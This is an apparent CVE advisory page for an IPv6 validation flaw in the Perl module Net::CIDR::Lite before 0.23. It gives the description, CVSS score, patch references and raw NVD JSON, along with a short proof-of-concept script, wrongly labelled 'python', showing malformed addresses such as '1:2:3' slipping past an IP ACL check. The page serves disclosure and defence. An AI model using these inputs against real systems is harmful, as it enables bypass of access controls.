CVE-2026-40198

Description

Net::CIDR::Lite versions before 0.23 for Perl does not validate IPv6 group count, which may allow IP ACL bypass. _pack_ipv6() does not check that uncompressed IPv6 addresses (without ::) have exactly 8 hex groups. Inputs like "abcd", "1:2:3", or "1:2:3:4:5:6:7" are accepted and produce packed values of wrong length (3, 7, or 15 bytes instead of 17). The packed values are used internally for mask and comparison operations. find() and bin_find() use Perl string comparison (lt/gt) on these values, and comparing strings of different lengths gives wrong results. This can cause find() to incorrectly report an address as inside or outside a range. Example: my $cidr = Net::CIDR::Lite->new("::/8"); $cidr->find("1:2:3"); # invalid input, incorrectly returns true This is the same class of input validation issue as CVE-2021-47154 (IPv4 leading zeros) previously fixed in this module. See also CVE-2026-40199, a related issue in the same function affecting IPv4 mapped IPv6 addresses.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:stigtsp:net\:\:cidr\:\:lite:*:*:*:*:*:perl:*:* - VULNERABLE

Net::CIDR::Lite < 0.23

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/perl
use strict;
use warnings;

# Vulnerable module version < 0.23
use Net::CIDR::Lite;

my $cidr = Net::CIDR::Lite->new("::/8");

# Malformed IPv6 address with less than 8 groups
my $malformed_ip = "1:2:3";

print "Testing IP: $malformed_ip against range ::/8\n";

# The find() method incorrectly returns true due to length mismatch in comparison
if ($cidr->find($malformed_ip)) {
    print "[VULNERABLE] ACL Bypassed! Address accepted.\n";
} else {
    print "[SAFE] Address rejected.\n";
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-40198
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-40198
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-40198/
[4] VulDB https://vuldb.com/cve/CVE-2026-40198
[5] https://github.com/stigtsp/Net-CIDR-Lite/commit/25d65f85dbe4885959a10471725ec9d250a589c3.patch
[6] https://metacpan.org/release/STIGTSP/Net-CIDR-Lite-0.23/changes
[7] https://www.cve.org/CVERecord?id=CVE-2026-40199

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-40198", "sourceIdentifier": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "published": "2026-04-10T22:16:21.463", "lastModified": "2026-04-21T18:49:34.500", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Net::CIDR::Lite versions before 0.23 for Perl does not validate IPv6 group count, which may allow IP ACL bypass.\n\n_pack_ipv6() does not check that uncompressed IPv6 addresses (without ::) have exactly 8 hex groups. Inputs like \"abcd\", \"1:2:3\", or \"1:2:3:4:5:6:7\" are accepted and produce packed values of wrong length (3, 7, or 15 bytes instead of 17).\n\nThe packed values are used internally for mask and comparison operations. find() and bin_find() use Perl string comparison (lt/gt) on these values, and comparing strings of different lengths gives wrong results. This can cause find() to incorrectly report an address as inside or outside a range.\n\nExample:\n\n  my $cidr = Net::CIDR::Lite->new(\"::/8\");\n  $cidr->find(\"1:2:3\");  # invalid input, incorrectly returns true\n\nThis is the same class of input validation issue as CVE-2021-47154 (IPv4 leading zeros) previously fixed in this module.\n\nSee also CVE-2026-40199, a related issue in the same function affecting IPv4 mapped IPv6 addresses."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1286"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:stigtsp:net\\:\\:cidr\\:\\:lite:*:*:*:*:*:perl:*:*", "versionEndExcluding": "0.23", "matchCriteriaId": "2B8C0BC5-5E3C-4399-9FD6-437BFF65130F"}]}]}], "references": [{"url": "https://github.com/stigtsp/Net-CIDR-Lite/commit/25d65f85dbe4885959a10471725ec9d250a589c3.patch", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Patch"]}, {"url": "https://metacpan.org/release/STIGTSP/Net-CIDR-Lite-0.23/changes", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Release Notes"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2026-40199", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Third Party Advisory"]}]}}